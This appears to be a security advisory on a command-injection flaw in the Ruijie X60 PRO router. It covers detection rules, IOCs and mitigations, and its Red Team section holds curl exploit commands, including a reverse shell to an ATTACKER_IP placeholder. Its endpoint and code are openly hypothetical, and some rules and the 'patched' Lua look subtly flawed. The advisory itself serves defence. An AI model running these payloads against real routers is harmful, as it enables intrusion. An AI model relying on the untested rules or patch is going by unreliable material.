CVE-2025-56118

Executive Summary

CVE-2025-56118 is a critical OS Command Injection vulnerability discovered in the Ruijie X60 PRO router firmware versions V1.00 and V2.00. The flaw resides in the /usr/local/lua/dev_sta/nbr_cwmp.lua file, specifically within the module_set function. An unauthenticated attacker can exploit this by sending a crafted POST request, leading to arbitrary command execution on the device. This vulnerability poses a severe risk to network integrity, confidentiality, and availability, as it allows full remote compromise of the affected router. No patch is currently available, and no public proof-of-concept (PoC) has been released.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Full device access leads to data exposure.
• Integrity (I): High (H) – Arbitrary commands can modify system files.
• Availability (A): High (H) – Commands can disrupt or disable the device.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction, making it highly exploitable in the wild.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection flaw in the module_set function within the Lua script /usr/local/lua/dev_sta/nbr_cwmp.lua. This script likely handles CWMP (CPE WAN Management Protocol) requests, which are used for remote management of customer-premises equipment.

The module_set function appears to accept user-supplied input from a POST request and passes it unsanitized to a system command execution function (e.g., os.execute() or io.popen()). An attacker can inject arbitrary shell commands by including shell metacharacters (such as ;, |, &, `, $()) in the POST parameters.

Attack Flow:

1. The attacker sends a POST request to the vulnerable endpoint (likely /cgi-bin/lua/dev_sta/nbr_cwmp.lua or similar).
2. The module_set function extracts a parameter (e.g., module_name or action) from the request.
3. This parameter is concatenated into a command string without sanitization.
4. The command is executed by the operating system, allowing the attacker to run arbitrary commands with the privileges of the web server (typically root).

Example of vulnerable code pattern (hypothetical):

function module_set(request)
    local module = request.post.module
    local cmd = "echo " .. module .. " > /tmp/module.log"
    os.execute(cmd)
end

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, a secure implementation would involve:

• Input Validation: Whitelist allowed characters for the module parameter (e.g., alphanumeric only).
• Command Parameterization: Avoid shell execution entirely. Use Lua libraries that do not invoke a shell.
• Escaping: If shell execution is unavoidable, properly escape shell metacharacters using functions like string.gsub().

Vulnerable Code (Hypothetical):

function module_set(request)
    local module = request.post.module
    os.execute("echo " .. module .. " > /tmp/module.log")
end

Patched Code (Hypothetical):

function module_set(request)
    local module = request.post.module
    -- Validate input: only allow alphanumeric and underscore
    if not module:match("^[%w_]+$") then
        return "Invalid module name"
    end
    -- Use io.popen with proper escaping (though still risky)
    local handle = io.popen("echo " .. module:gsub("([^%w_])", "\\%1") .. " > /tmp/module.log")
    handle:close()
end

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain a Ruijie X60 PRO router with firmware V1.00 or V2.00.
2. Connect the router to an isolated network.
3. Identify the router's IP address (e.g., 192.168.1.1).

Exploitation Steps:

1. Craft a POST request to the vulnerable endpoint. The exact URI may need to be discovered through reverse engineering, but a likely path is /cgi-bin/lua/dev_sta/nbr_cwmp.lua.
2. Inject a command to establish a reverse shell or exfiltrate data.

Example using curl:

curl -X POST http://192.168.1.1/cgi-bin/lua/dev_sta/nbr_cwmp.lua \
  -d "module=test;id"

Advanced Payload (Reverse Shell):

curl -X POST http://192.168.1.1/cgi-bin/lua/dev_sta/nbr_cwmp.lua \
  -d "module=test;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Note: Since no public PoC exists, the exact parameter name and endpoint must be determined through firmware analysis.

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /cgi-bin/lua/dev_sta/nbr_cwmp.lua containing shell metacharacters (;, |, &, `, $()).
• Alert on unusual outbound connections from the router to external IPs on high ports (e.g., 4444).
• Check for unexpected processes spawned by the web server (e.g., bash, nc, python).

Mitigation:

• Isolate affected routers on a separate VLAN with strict egress filtering.
• Disable CWMP if not required.
• Implement a Web Application Firewall (WAF) rule to block malicious POST parameters.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /cgi-bin/lua/dev_sta/nbr_cwmp.lua with parameters containing shell metacharacters.
• Outbound connections from the router to unknown IPs on ports 4444, 1337, or other common reverse shell ports.
• DNS queries to suspicious domains from the router.

File IOCs:

• Unexpected files in /tmp/ (e.g., /tmp/module.log, /tmp/exploit.sh).
• Modified system binaries (e.g., /bin/busybox replaced with a backdoored version).

Process IOCs:

• Unusual processes running as root, such as bash, nc, python, or perl.
• Processes with arguments containing IP addresses or port numbers.

Detection Engineering

YARA Rule

rule CVE_2025_56118_Ruijie_X60_Command_Injection {
    meta:
        description = "Detects OS command injection attempts against Ruijie X60 PRO routers"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-56118"
    strings:
        $cmd1 = "module_set" nocase
        $cmd2 = "nbr_cwmp.lua" nocase
        $shell1 = ";" ascii
        $shell2 = "|" ascii
        $shell3 = "&" ascii
        $shell4 = "`" ascii
        $shell5 = "$(" ascii
    condition:
        $cmd1 and $cmd2 and 1 of ($shell*)
}

Sigma Rule

title: Ruijie X60 PRO Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to the vulnerable endpoint with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'nbr_cwmp.lua'
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in module names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56118 Ruijie X60 PRO Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"nbr_cwmp.lua"; http_uri;
    pcre:"/(;|\||&|`|\$\().*module_set/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-56118;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Devices: Place Ruijie X60 PRO routers on a separate VLAN with no direct internet access.
2. Disable CWMP: If not required, disable the CWMP service to reduce the attack surface.
3. Monitor Logs: Enable detailed logging and monitor for exploitation attempts.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Ruijie. Contact their support for an ETA.
• Firmware Hardening: If possible, manually patch the vulnerable Lua script by adding input validation and escaping.
• Replace Device: Consider replacing the router with a model that receives regular security updates.

Workaround:

• Implement a WAF rule to block POST requests containing shell metacharacters in the module parameter.
• Use network segmentation to limit the router's ability to initiate outbound connections.

Valters IT
Securing Digital Frontiers